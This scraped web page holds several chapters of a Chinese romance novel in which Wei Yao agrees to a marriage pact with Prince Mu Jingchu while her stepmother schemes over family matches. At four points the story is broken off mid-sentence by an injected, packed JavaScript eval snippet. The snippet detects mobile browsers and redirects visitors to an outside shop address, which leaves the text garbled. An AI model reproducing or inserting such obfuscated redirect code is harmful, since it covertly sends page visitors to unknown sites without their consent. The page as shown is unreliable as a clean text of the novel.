魏窈幼时不曾得他半点照拂，如今顺记小馆刚开张，正是缺银钱周转的时候，便没推拒。 这日挑了几样差不多的，到了螺市街，便先交到顾顺娘手上。 顾顺娘忙摆手推辞，“先前店里置办桌椅等东西，都是用你的银钱，如今都快准备妥当了，你又拿这些做什么！” “有备无患嘛，做生意缺了本金可怎么成。回头若有急用，只管拿去变卖，不用心疼。与其在柜子里落灰，不如用在刀刃儿上。” 她这样说，显见得是并不在意魏芝翰这当爹的给的东西。 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151934|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺娘见状，只好先收起来，又说这食店多半是用魏窈手里的银钱置办起来的，回头赚了钱多分她些。 魏窈听她这样说，只管趴在她身上撒娇，“我这性命都是顾姨保下来的，您养我这么些年，如今还分这么清楚？只管用就是了！回头再物色几个帮手，您坐镇指挥，好歹也能清闲些。” ——自顾顺娘被放出奴籍，立为女户后，魏窈也改了口，跟沈歌一样唤她“顾姨”。 顾顺娘便笑着拍她，“都是快嫁人的大姑娘了，还这样撒娇，当心别人瞧见了笑话！” 魏窈今日原就是因婚事来寻她的，听得打趣，也没脸红，只拉着顾顺娘到小茶室里坐下，将那日穆景初提的事大略说了。 顾顺娘虽觉意外，听魏窈解释了缘故，倒也领会了穆景初的意图。 她对穆景初并不了解，但因着江陵城的旧缘，她回京后也留意过肃郡王的名声，知道他虽在皇室却至今未娶，算得上是洁身自好。如今既有这种事，自然先问魏窈，“隔了这么些天，你是有主意了？” 魏窈轻轻点头。 “打算答应他？”顾顺娘约莫能猜出她的心思。 魏窈笑了笑，将自己不愿依赖魏芝翰，想设法寻回母亲的心思说了，又道：“当年母亲的事，说不准有怎样的秘辛。我若嫁了寻常人，莫说贺家，怕是我那位爹都会设法阻拦。但若嫁进这里，非但有能有个助力，贺家也休想阻拦！” “只不过毕竟是皇家，说不准前路是福是祸。肃郡王这人，也不知往后能不能好生相处。” 经历过婚事磋磨，对婚后的情形，魏窈终归有所顾虑。 但这世间的事哪有万全的？ 无非取舍罢了。 从利弊上得失来说，有了肃郡王那番承诺，这桩婚事早已远胜于别家。除此之外，所要考虑的就是…… 顾顺娘眼底藏笑，小声问道：“我没见过那位肃郡王。他长相如何？身材如何？” “长得还挺好，至于身材……他是个武将。”魏窈没好意思说得直白。 顾顺娘瞧她含羞的模样，竟自笑了起来。 习武领兵之人，又是才过弱冠的年纪，身材多半都是极好的，体力那更是没的说。时下这样的世态，他能以郡王之尊屡次照拂魏窈，提出婚事后又给出退路，其实已是颇难得的了。 且魏窈既有意尝试这条路…… 顾顺娘于是拍板，“那就答应了这婚事吧！他既肯给退路，哪怕往后真要分开，跟他夫妻一场，你也不亏！” 魏窈愣了一下才明白她说的不亏是指什么，不由得有点脸上发热。 她的顾姨，竟如此奔放吗？ 17. 017 跟相依为命的顾顺娘聊过之后，魏窈心里踏实了许多。 便又商量起了开张的事。 进京后已有些时日，顾顺娘做事又麻利勤快，店面其实都有收拾妥当了。这些时日，她又跟孙大姐在地窖里腌了些爽口的小菜备用，拟好要售卖的饭食后，又将食材哪里新鲜便宜等事都摸得差不多了。 且她自搬进螺市街，每天早晚变着法儿做香喷喷的饭食，且特地选了能香飘远处的，一段时日下来，已在左邻右舍间攒了稍许口碑，想来小店开张之日，应是能有些人来捧场的。 万事俱备，只欠吉日。 两人商量过后，将开张的日子选在了七月中旬。 这事让魏窈有了盼头，因着心绪甚好，回府后碰到亲自登门的贺崇，她也能堆出点笑施礼问候。 贺崇瞥见她那暗怀喜事的模样，点了点头，脸色是一贯的温和。 但魏窈前世当了他数年的孙媳妇，焉能不知贺崇的脾性？身在高位的帝王宠臣，喜怒不形于色早就成了习惯。这老头子脸上瞧着没什么，但看那眼神和微绷的身形，今日来魏家分明是有些不痛快。 也不知是谁招惹了他。 魏窈心里暗啧了声，照旧回浮香院去。 …… 清宴堂，下值后屁股还没坐热的魏芝翰听管事禀报说岳父驾临，片刻都没耽搁，赶紧同贺氏一道将她迎进厅里。 觉出岳父心绪欠佳，魏芝翰行事比往常更谨慎了些，亲自接过仆妇端来的热茶，搁到贺崇跟前，含笑道：“外头暑气正浓呢，您老人家怎么亲自过来了？有什么事，喊小婿过去吩咐就是了。” 贺氏笑吟吟的招呼，命人将冰盆搬近些。 夫妻俩殷勤备至，让贺崇憋着的气消了稍许，想起方才门口遇见魏窈时的样子，却还是心里发堵。抬手示意仆妇褪去，他瞧着魏芝翰，微沉了脸色，“我这把老骨头倒也不怕折腾。只是你们，平素也该将门户看紧些。” 这话说得蹊跷，夫妻俩面面相觑。 就听贺崇道：“魏窈那丫头，平素出门只有个小丫鬟跟着？她刚进京城不懂规矩，合该派个老成的嬷嬷教导，别叫她惹出事来！” “是小婿疏忽了。”魏芝翰心头一紧，“她在外头闯祸了？” “再这么放任下去，怕是真要闯祸。”贺崇压压手腕，示意夫妻俩坐下，拧着眉头道：“跟许家的婚事，出了些岔子。” 事情还是因荷花宴而起。 当日魏淑云将魏窈推入水中，惹得宴上众人议论纷纷，许约找过魏芝翰之后仍旧不放心，因牵涉婚姻大事，便又暗里打听了一番。这一打听，着实将他惊得够呛—— 原来那魏窈养在乡下性子粗野，还没上京就跟天潢贵胄的肃郡王结了梁子，实在真是个胆大包天华而不实的草包！ 这样鲁莽的人，岂不是招灾的祸水？ 许约之所以投靠贺崇，固然是中意魏窈的美色，更要紧的是想借贺崇的提拔青云直上，早些登临朝堂高位。得知魏窈竟如此莽撞，哪还敢拿前程做赌注。 思虑再三后，硬着头皮找上了贺崇。 他原本是想婉言退亲，可事到临头，听贺崇说早已将许魏两家要结亲的消息告之旁人，许约剩下的话就说不出口了。 毕竟这等情形下，他若反悔，无异于将贺崇的脸踩在地上，直接跟这位帝王宠臣结仇。 贺崇老练成精的人，哪能瞧不出来？ 既是许家已对魏窈心生不满，强扭的瓜终究不甜。且贺氏数次来缠磨，都是想将亲女儿嫁给状元郎，事已至此，也只能商量着换成魏淑云。 许约无可奈何，想着魏淑云虽姿貌平平，到底是贺崇的亲外孙女，又有京城里长大的眼界，一旦结亲，这层关系还能更亲近些。 斟酌过后便答应了。 今日贺崇亲自登门就是为了这事。 “所幸淑云虽骄纵了点，到底知道轻重，没惹出过大事，不然我这张老脸真是没处搁了。”贺崇只觉那魏窈实在是烂泥扶不上墙，暗示魏芝翰严加管教之余，又让贺氏将魏淑云叫过来，打算耳提面命一番。 贺氏打死都没想到峰回路转，婚事竟自己落到了魏淑云头上，哪有不高兴的，当即打发人去喊女儿过来。 魏芝翰瞧着岳父的脸色，也只闷头应是。 先前两番找魏窈试探，确信她无意于状元郎后，他还琢磨该如何跟岳父提起，将婚事换给魏淑云。谁知他这两日忙于杂事没寻到合适的契机，倒是许家登门把这事儿办了。 这下好了，各方都能称心如意，倒省得他再费口舌。 至于魏窈和肃郡王之间是怎么回事，他没十足的把握之前不好跟贺崇多说，此刻便闭口不提。 贺氏更不愿翻出江陵城的旧账，此刻便只字不提魏窈，只一个劲地商量魏淑云的婚事。 片刻后，魏淑云脚步飞快地赶来厅中。 乖巧听完贺崇的叮嘱，送走外祖父之后，魏淑云差点乐开花。好容易憋着笑拽着贺氏回到住处，等旁边没了人，她一下子扑进贺氏怀里，笑得嘴巴都快扯到耳根子了。 “原以为这个大便宜真要被魏窈捡走，如今可好了，外祖父到底还是心疼我的！” “苍天有眼，冥冥中是有定数的！” 她满心欢喜，乐得眼睛都快眯没了。 贺氏笑着点她脑袋，“状元郎固然有前程，可他家的媳妇也不好当。你外祖父苦口婆心地叮嘱，也是怕你往后犯错吃亏，这阵子可得好生磨磨性子，更不许去外头胡闹了！咱们是正经的官宦千金，可别跟那乡下来的学。” 魏淑云连连点头，想着今日的折转竟是源于当初在西苑里随口说的一番话，果真是因缘奇特，她当日真真埋了一步好棋！ 有了魏窈的前车之鉴，她才不会去外头招事儿呢，只管安心待嫁。 等十里红妆铺向状元郎，那时，她才算志得意满呢！ …… 婚事既定，一切也都该筹备起来。 贺氏这里忙着准备嫁妆等物，贺府的崔氏听闻外甥女要外嫁许家，也自喜出望外，加上耐不住贺云章的劝说，便打着提前道贺的旗号来贺家探望小姑子和外甥女，顺便见见魏窈。 两处相逢，贺氏和崔氏都得偿所愿，气氛自是欢快。 崔氏还在嘴上溜达打趣，“原还想着把淑云娶回来，往后还能一道作伴，谁知如今是要嫁给状元郎了，当真是我没福气！” “淑云调皮着呢，还是该给云章寻个性情温驯，又合他心意的才是。”贺氏笑道。 崔氏便问，“你家那位大姑娘呢？也有好些日子没瞧见了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156904|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她既提起，贺氏便让人去请。 魏窈碍着拜见长辈之言，少不得过来露个脸。但对上贺云章那双脉脉含情的眼睛，她又实在懒得敷衍这对姑嫂，寻个由头赶紧溜了。 这般做派，倒让崔氏有些不快。 毕竟，在她看来，贺云章虽说尚无功名，却是贺崇膝下唯一的孙儿，来日捐官入仕，有长辈的提携，前程自然不差。她一个乡下姑娘，除了容貌之外别无所长，能够嫁进贺家，已是几辈子修来的福气了！ 果真是传言不虚，不知天高地厚！ 崔氏望着窗外迅速远去背影，想着贺云章执意要娶这么个不懂礼数的姑娘，不由白了儿子一眼。可惜贺云章正看着窗外出神，没瞧见。 旁边贺氏倒是很乐意将魏窈塞到娘家，既能在眼皮子底下看着，也免得魏芝翰另寻佳婿，见状便笑道：“姑娘家害羞呢，嫂嫂别放在心上。” 说着话，倾身靠近些，低声道：“这孩子不像淑云敞亮，平素就跟个闷葫芦似的，也不必管她的心思。向来都是父母之命媒妁之言，嫂嫂若觉得她还能入眼，咱们做长辈的定下来也行，免得孩子们……” 她努嘴指了指贺云章，意思不言而明。 话说到这份上，崔氏也没推拒，只拍拍贺氏的手，“也是难为你了。平白添了个姑娘，还得操心这些。” 贺氏笑了笑，晚间果真跟魏芝翰提起此事。 魏芝翰闻言不置可否——肃郡王待魏窈的心思终归只是他的猜测，瓜熟蒂落之前不宜声张。他既摸不准那位郡王爷的心思，见贺氏上蹿下跳的撮合，只能暂且拿“不急，再看看”的话搪塞过去。 贺氏原就强横惯了，连当初跟魏芝翰的婚事都是她一手促成，如今见他不肯爽快答应，便只轻哼了声。 心说你不管，难道我就没法子么！ …… 贺氏等的机会很快就到了。 六月廿五那日，是贺薇风光出阁，嫁进伯府的日子。 这等大喜事，魏芝翰自然得携全家去道贺。 魏窈当然也不例外。 一大清早，贺氏就忙着让人准备车马，因魏淑云跟状元郎的婚事刚定下来，今日定有许多人要过问甚至道贺，她特地让魏淑云穿了鲜丽衣裳，更能衬托精气神些。 至于魏窈，大喜的日子不好穿太素净，便选了套绣着荼靡的衣裙，腰间配了簇新的禁步，发间饰以金钗，再戴上珊瑚红的耳珰，便已觉整个人神采焕然，光华暗蕴了。 一家人聚在清宴堂用早饭，魏淑云埋头尝着香软的糕点，视线却不时往魏窈身上瞟。 自打那日姐妹厮打后，她已好些日子不跟魏窈说话了，时常鼻孔朝天别着脸，倒像是魏窈追打她一样。不过越是赌气，她就越容易留意魏窈的言行打扮，憋着股劲要把这乡下泥土里冒出来的姐姐比下去。 先前魏窈时常淡妆素裙，倒也没什么，今日稍稍装点之后，魏淑云即使心里再恼，也不得不承认，魏窈这装束着实有点夺人眼目。 她鼓嘟着嘴，又扒拉了两口饭，以忘了东西为由，匆匆回院将外祖母送她的那套赤金首饰都戴上，瞧着满身金玉耀目，才算满意出门。 ——今日表姐出阁，她与状元郎定亲的消息必定也会放出去，正该她出风头的时候，可不能让魏窈给比下去！ 18. 018 今日的贺家宾客盈门，喜红绸缎装饰的庭院里满目绮罗珠翠，男宾女客往来谈笑，很是热闹。 魏芝翰拜见过长辈后就先去大舅子那边帮忙，贺氏则带了两位姑娘陪在老夫人身边逗趣。恰好崔氏刚招呼了一波女眷，回来跟贺老夫人禀事，见魏窈也在场，禀报完之后，又附在老夫人耳畔笑说了两句。 贺老夫人闻言，便招手让魏窈过去，拉着她的手仔细端详，分明是前世相看孙媳妇时的架势。 这让魏窈心里很不舒服。 碰见有新来的女眷来见老夫人时，赶紧趁机闪到一旁，躲在人群后面。 正往后挤呢，不提防身后忽然撞上什么，转头一瞧，见贺云章正拿那双桃花眼笑眯眯地瞧着她，愈发觉如芒在背。 就听贺云章道：“我来找祖母禀话，没想到表妹也在这里。这里人多闷得慌，不如去隔壁的小抱厦坐会儿吧，那边临水有风，能凉快些。”说着，随口喊住一个刚奉完茶的丫鬟，让她引魏窈先去抱厦歇歇，又匆匆朝贺老夫人那里去了。 那小丫鬟施了礼，请魏窈随她过去。 魏窈随她拐过屏风，想起方才贺云章看她的眼神时，心里不由敲起了小鼓—— 贺老夫人将爱女疼入骨髓，向来不喜她这个半路捡回来的前妻之女，方才那仔细端详的模样，不像是人前做样子，倒真像认真打量。且贺氏跟崔氏这阵子鬼鬼祟祟蝇营狗苟，莫不是憋了什么坏水？ 毕竟，魏芝翰仰赖贺家提携，在贺崇老夫妻跟前几乎说不上话，许多事最终是贺家说了算。 而贺云章为色所迷，姑且不论往后如何，时下却正在兴头上。若长辈们暗里撮合，他再将她堵在抱厦里一顿“剖白深情”，那真就栽跟头了！ 魏窈不敢犯险，更不敢去僻静小屋里，因熟知贺家地形，索性往摆宴席的花厅里去。 那里人多，贺云章再怎么色胆包天，也不敢当众造次的。 她前脚才走近花厅，那边贺云章禀完话，便急匆匆往抱厦赶去。 自打五月初会，那道曼丽身影便像是在他心里扎了根，贺云章几番想靠近却都被避之不及，着实憋得心里痒痒。今日既逢良机，他情知长辈有意安排婚事，便想趁机剖白心思，好教魏窈明白自家心意，免得她总对他避如蛇蝎。 谁知到了抱厦，竟不见半个身影。 待要抓住那小丫鬟问一问，却又不知她去哪做事了，只好放开视线，在人群里四处寻找。 他这儿暗寻芳影，那边贺氏打发了丫鬟抹春，也正到处找魏窈。 ——方才门房来禀，说肃郡王派了辆马车到贺府门前，有事要问魏窈，请她即刻乘车去趟王府。 贺氏不知肃郡王所为何事，也没好声张，只让抹春悄悄去找人。 谁知外头有来道贺的女眷正好碰见王府马车来接人，得知是肃郡王喊魏窈去问话，加之先前传言两人结过梁子，早已悄悄议论起来。 等抹春寻到魏窈，将她请回去时，已有不少女眷听得风声，暗里打量猜度。 贺氏察觉那些形色各异的目光，想着魏窈悄没声息地跟王府瓜葛渐深，竟让肃郡王追到到她娘家的婚宴上来接人，心里老大的不舒服。 当着众人的面，她不好给魏窈摆脸子，只叫到跟前叮嘱了两句，又竭力摆出笑容道：“你这就去吧，别叫人等急了。结束后若没旁的事，你仍旧回这里来，陪外祖母说说话。” 说着，轻拍了拍魏窈的肩。 旁边有刚进来的女客，瞅着她这副假慈母的模样，不由笑问道：“郡王府的马车都追到这儿来了，也不知是什么要紧的事呢。” 揶揄的语气，分明是在看戏。 厅堂之外，这会儿也正有人扎堆议论。 实在是这事太出人意料了。 贺崇虽是皇帝宠臣，但跟几座王府的关系并不算亲近。肃郡王平素几乎不跟贵女往来，如今却追到贺府出嫁女儿的现场要接魏窈去问话，这是得多急切？ 算上西苑那回，这都两回了！ 闲人们窃窃私语，有说魏窈生得姿貌出挑，没准儿入了肃郡王眼的。也有说魏窈不知天高地厚，自负美貌，变着法儿招惹肃郡王的。也有人提起西苑那次，猜度是旧怨未清的。 诸般猜测没个定论，恰好魏淑云从人群中穿过，有相熟的忙拉了她打听。 魏淑云才刚跟状元郎定了亲事，正是被人羡慕、风光初现的时候，哪会让魏窈盖过她的风头？ 听旁人问魏窈与肃郡王是否相熟，便只道：“她才上京多久，能熟识几个人？我家跟王府平常也没往来，她跟肃郡王身份悬殊，这么上蹿下跳的，也不知是不是最近又闹了幺蛾子，着实让人担忧。” “这样说来，还是为之前的过节？”有人试探着问。 魏淑云瘪瘪嘴，“这得问她了。” 那八成是为清算旧账了！ 毕竟肃郡王什么身份？寻常往来的不是勋贵之家就是高门重臣，早些年相府的韩明漪还没出阁时，京中偶尔背后嚼舌根，还有眼酸的人觉得她配不上肃郡王呢。相较之下，如今这位从乡下冒出来的魏窈又算得什么？ 前次惹得肃郡王冷脸拂袖离去，这回又急着找去问话，怕是肃郡王再好的涵养，都遭不住无知草包的屡次生事。 贵女们不自觉选择了更愿意相信的理由，暗戳戳议论时，倒都等着看热闹起来。 连带魏淑云都留了心，甚至有点盼着魏窈真个见罪于王府，被父亲一怒之下送回乡下，那才叫一个清净呢！ …… 惠王府外，魏窈坐在马车里，心里稍有点惴惴。 其实上回去螺市街的时候，她就拜托顾顺娘去肃郡王府递个口信，顾顺娘也没耽搁，赶着就把事儿办了。 谁知后面却像石沉大海似的杳无音信。 魏窈虽不至于着急，可拖的时日长了，难免心里敲鼓，觉得穆景初会不会后悔变卦了。 今日他忽而派人来接，是忧是喜，到底是个未知之数。 魏窈闭目端坐，竭力抚平微乱的心绪。待马车在侧门停稳，便理了理衣裙，跟着王府的仆从穿廊渡水，往穆景初的书房而去。 暑热正浓，高柳间尽是乱蝉声，即使有斑驳的树影遮着，踏过青石砖时仍有阵阵热浪袭来，让身上渐渐出了层薄汗。 穆景初的书房里，这会儿却颇凉快。 屏风后的大缸堆满冰块，书窗之外则有阵阵凉风透过薄纱袭来——这书楼临水而建，上头两层藏书阁窗槅严实隔开潮气，底下那层是寻常看书乃至偶尔起居所用，夏日里搬来特制的水车改成自雨亭的样式，很是凉快。 穆景初此刻就站在凉风习习的窗畔，心不在焉地翻看一本兵书。 他是昨晚才回京的。 那日在涵园见过魏窈之后，他便被昭明帝派了件出京城的差事，辗转到昨日才算彻底了结，在入宫复命后暂得清净。 回到王府，积压的事情和消息陆续报到跟前，当中就有顾顺娘捎来的口信。 “魏姑娘差人来说，那件事她答应了。” 卫玄铮将口信原样禀上时，原本整理文书的穆景初动作微顿，“没说别的？” “没有，只此一句。” “除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆景初这才满意，“前阵子出京办差，昨晚才回来。听卫玄铮说，你答应了？” “既然殿下愿意给退路，何不尝试一次。”魏窈抬眉，神情莞尔。 咫尺距离，笑靥映在眼底时，那股若有若无的幽香再次萦绕在鼻端，配上她尚未敛尽的香汗，无端让人想起软玉温香之辞。 穆景初觑着她眉眼，故意往前靠近些，口中道：“想清楚了？” 魏窈不自觉后退避让，答道：“事关婚嫁，不管往后如何，眼下是真的会拿正经婚事来操办，民女自然不会视如儿戏。既然答应了此事，自然言出必行，也盼殿下能记着当日的许诺，若有改主意的那天，能够好聚好散。” 说到末尾，忽觉背后似撞上什么。 她拿余光瞥了一眼，这才发现随着穆景初的步步靠近，她这会儿已经退让到了角落，身后是矗立的书架，已是避无可避。 她下意识想往外挪两步，穆景初却忽而伸手抵住书架，轻易将她困在其中。 “殿下？”魏窈有些疑惑。 穆景初垂首，压住唇角微不可察的笑意，再抬起头时，他的眼底添了几分玩味，凑近些问道：“你可认真想过，成婚意味着什么？” 他的气息渐渐逼近，温热落在她脸庞。 魏窈稍觉局促，垂首避开他意味不明的注视，飞快琢磨他今日的意图。 还没琢磨出什么来呢，却见他左手微抬，轻捏住她的下巴，迫使她抬目对视。 而后，他毫无征兆地亲了过来。 19. 019 满室凉爽，他的唇却是温热的。 魏窈愕然睁大眼，在呼吸交织之间，与他四目相对。 穆景初的指腹稍稍用力，另一只手臂无师自通地扣住她的腰肢，唇瓣贴得更紧，于她朱唇上辗转。在魏窈试图挣扎退缩时，他甚至稍稍使力捏了捏她下巴，虽不至于痛，却分明是要她老实些。 魏窈闭上眼，隐约明白了他的意思。 惊愕之下微绷的身形稍稍放松，她尝试让自己镇定，任由穆景初试探般含住她的唇，甚至搂着腰肢贴向他怀里。 是啊，既答应成婚，又怎能避免肌肤之亲？ 哪怕穆景初未必贪图美色，未必会真的在婚后碰她，可同一屋檐下朝夕相处，又是皇家这种地方，没准就有要摆出亲密姿态的时候。穆景初想要的，不过是确信她能够将这份约定的假意演得逼真些而已。 那有什么难的呢？ 魏窈既在瞬息之间想通了关窍，即便两人尚且生疏，却还是硬着头皮反客为主，尝试将双臂环在他腰间，甚至主动迎上他的亲吻。 出乎意料的回应，让穆景初身体微僵。 他觑着闭眼顺从的魏窈，看得出她这回应并非出自真心，眸色稍暗时，竟在她唇上轻轻一咬。趁着魏窈微痛分神的间隙，有些生疏的长驱直入，摆出一副要肆意攫取的姿态。 唇舌交织，闷哼溢出，魏窈被困得无处可逃，在心跳渐乱时，下意识拽住他的衣裳，用力扯了扯。 险些沉溺的心神在那一瞬回笼。 穆景初松开她，瞥到她脸颊浮起的稍许可疑绯红时，终于满意地收回视线。胸腔里砰砰直跳，他佯作垂眸整理衣裳，心底却暗暗纳罕—— 明明是打算蜻蜓点水地稍作亲吻，试探她反应的，怎么后来就失于克制，变成了这样？ 是因不满于她假意的回应，还是那唇舌实在香软，让人情不自禁…… 喉咙微觉干燥，穆景初轻咳了咳，觉得此刻的自己有点陌生，便将指尖落向书案上冰凉的砚台，借那一丝凉意抚平心绪。 书房里片刻安静，唯有竹梢轻轻拂过窗纱。 穆景初瞧着脸色微红的少女，瞧见她眼底暗藏的稍许愠怒时，忍不住逗她，“嘴巴还挺软。” “殿下也不赖，丝毫不像传闻中不近女色的样子！”魏窈并不觉得这种试探有意思，回敬了一句，又抬眉道：“我虽年少，跟继母也不亲厚，却有顾妈妈自幼教导，知道成婚意味着什么。这桩婚事我既答应了，自然是深思熟虑过的，殿下不必多心。” “好。”穆景初失笑，倒不知他身上还有这等传闻。 不过毕竟是头回做这种轻薄无赖事，他瞧着气鼓鼓的少女，终究放柔了语气，“生气啦？” “倒不至于。”魏窈自诩是个讲道理的人，“我既有此决定，原就该考虑得周全些，在心里做好准备。”她理了理微乱的鬓发，见穆景初没旁的吩咐，又厚着脸皮道：“我那继母最近上蹿下跳，想给我寻个婆家，耽搁久了难免夜长梦多。不知殿下打算时开口？” “明日我回禀明皇上，回府等消息吧。”穆景初说罢，又补充道：“给你挑个热闹日子。” 魏窈也不知他所谓的热闹日子是指哪天，既吃了定心丸，便先告辞。 走出凉爽书房，外头仍有暑热笼罩。 魏窈方才被亲得猝不及防，到底有点晕乎乎的。此刻冷静下来，再想想彼时的情景，不由回头瞥了眼远处紧阖的窗扇—— 都说肃郡王身有隐疾不近女色，瞧穆景初方才的样子，虽说亲得生疏了些，也不像不通情事的笨拙糙汉呀！ …… 出得王府，魏窈没再去贺家的婚宴。 且不说贺云章姑侄两个还在那里虎视眈眈，单论前世那些糟心的记忆，魏窈也懒得再踏进贺家半步，更懒得看崔氏婆媳的嘴脸。 她自管让人送她回家，到得府里，又打发个婆子去给贺氏报信，说她有事先行回府，请夫人不必记挂。 而后，自管在浮香院里睡大觉。 到得傍晚，因魏芝翰被贺崇留着商议事情，去赴宴的贺氏母女先行乘车归来。 绿禾最先抄近路跑回浮香院，将今日席上的诸般议论先报给魏窈，又道：“奴婢依着姑娘的吩咐留意打听，这些传言好像还是出自二姑娘，像是半点都见不得姑娘好。瞧夫人的神情，怕是待会就要喊姑娘去问话。” “知道了。”魏窈心里有了数，自管安心等待。 果然，没过多久，就有贺氏身边的人过来，说贺氏有话要问，让魏窈尽快过去。 魏窈到得那边，屋里只有贺氏和魏淑云母女两个，正喜滋滋地商量着什么。见得魏窈，贺氏却将笑容微收，嗔怪道：“不是让你过来陪外祖母说话么，怎么还得用八抬大轿来请不成。” “夫人见谅。”魏窈屈膝施礼，“是肃郡王殿下吩咐人将我送回府，他的命令，我不敢违背。” 贺氏被噎得没话说，又道：“他找你什么事？” “无非是问几句话罢了。” “莫不是你得罪了他，才让肃郡王追到表姐的婚宴上？你可别给家里招事儿。”魏淑云在贺氏背后探出脑袋，一副不情愿跟魏窈说话的样子，却又压不住好奇，只巴巴打量魏窈的神情。 魏窈可不想这对母女添乱，便只低头苦笑道：“都是过去的事罢了，肃郡王秉性宽宏，想来也不至于一直揪着不放。” 这样看来，果然是俩人有过节，而不是有人揣测的肃郡王看上了魏窈！ 魏淑云放心了许多，想起今日席间议论纷纷，她与状元郎议亲的风头竟被魏窈抢走了大半，心底不忿又起，撇撇嘴道：“劝你还是安分些吧！招惹了那等人物，爹都保不住你，到时候可别连累我们！” 说罢，气哼哼往里屋去了。 贺氏原也担心是魏窈攀上了穆景初的高枝儿，往后不好拿捏，白日里悬心了好半天。如今看她苦着张脸，且素闻肃郡王不近女色、性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171331|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情冷傲，不像是会见色起意的，也自放心了些，敲打了几句才放魏窈回去。 过后，便忙着筹备起魏淑云的婚事来。 这婚事虽是魏家女嫁入许家，因是奔着贺崇来的，成的是三姓之好，有些事情上少不得要跟贺家一道商量。贺氏既存了将魏窈嫁给贺云章、从此一辈子将这眼中钉攥在手里随意拿捏的心思，哪有不撮合的？ 每回要去贺家，倒都要叫魏窈同行，一会儿说是带她去开眼界，一会儿又说是拜见长辈学习礼数，由头不一而足。 魏窈却哪敢再去那虎狼窝？ 那日贺薇出阁，贺云章的贼心都快写在脸上了，崔氏婆媳既愿意成全贺氏，魏窈若再去贺家，就真是肉包子自个送上门了。 便仍拿穆景初当幌子，说先前见罪于肃郡王，对方罚她安分守己抄写经书以赎其罪，还寻了几本经书来抄，每日里都在浮香院闭门不出。 贺氏起初不肯，甚至拿魏窈不尊长辈的罪名来压派，还是魏窈说动魏芝翰居中劝阻，以禁足在家避免招祸为由，才算堵住贺氏的嘴。 但如此一来，魏窈就真不能轻易出门了。 连同顺记小馆开张那样要紧的日子，魏窈都强忍着没去见证。 好在京城里有沈歌照拂，且魏窈先前留了很宽裕的银钱，开张那日派青穂过去帮着做些杂事，一切倒是很顺利。 据青穂回来时所说，因顾顺娘先前在街头巷尾已攒了很不错的口碑，且沈歌拉了几个同僚来捧场，开张那天着实热闹得很。 “姑娘是没瞧见，来买饭菜的人排了老长的队。哪怕多半人都把饭食带回家去了，屋里院里都还坐满了呢。” “顾大娘那手艺是真好，同样的火腿粥、拌羊肉，她做的吃起来就是比别处香。” “我听那些街坊闲谈，都说顺记小馆一开张，往后可就不愁做饭的事了，让小丫鬟按时来取就行。” “照这架势，顾大娘是要发财啦！” 青穂兴冲冲地说着生意有多旺，听得魏窈也眉开眼笑，“倒没想到顾姨的手艺竟这样好，又会做生意，往后小馆可不愁客人了。” “可不是么。我听顾大娘说，她每过几天还要换菜色呢，好给老主顾们换个花样。她还列了好长的菜单子，我的天爷，她怎么会做那么多菜！”青穂当时瞧见那密密麻麻的菜色时，差点瞠目结舌。 魏窈听得饶有兴致，“都有哪些菜色？” 青穂便捡记得住的说了些，魏窈听在耳中，为那些菜色犯馋之余，不免又再生疑惑—— 记忆里的顾顺娘靠着缝补浆洗等事将她养大，从没在沈家的厨房待过，既有这等惊艳的能耐，当时她为何要藏拙呢？ 心里一时疑惑，一时又为顾顺娘能大展宏图而喜悦，魏窈坐在窗畔，尝着顾顺娘让青穂带回来的拌羊肉，倒有些迫不及待地想去瞧瞧顺记小馆的热闹境况了。 这穆景初，到底何时能求得赐婚的圣旨，好让她毫无顾虑地出门嘛！ 20. 020 暑热难耐，等待亦颇熬人。 魏窈这里掰着指头等赐婚消息的时候，魏淑云也正翘着脑袋等她的纳征之礼。 七月廿八那日，京城细雨如织。 连日的闷热被夜雨洗去，难得的凉风拂过面颊，直叫人神清气爽。几位宫人捧着一道圣旨，含笑踏出细雨笼罩的宫门，在肃郡王亲自择定的日子里赶往魏家。 此刻的魏家正自热闹。 ——今日恰是魏淑云与状元郎许约的纳征之礼。 因是迎娶贺崇的外孙女，许约为表诚心，几乎是倾举家之力，送来了一副颇为贵重的聘礼。 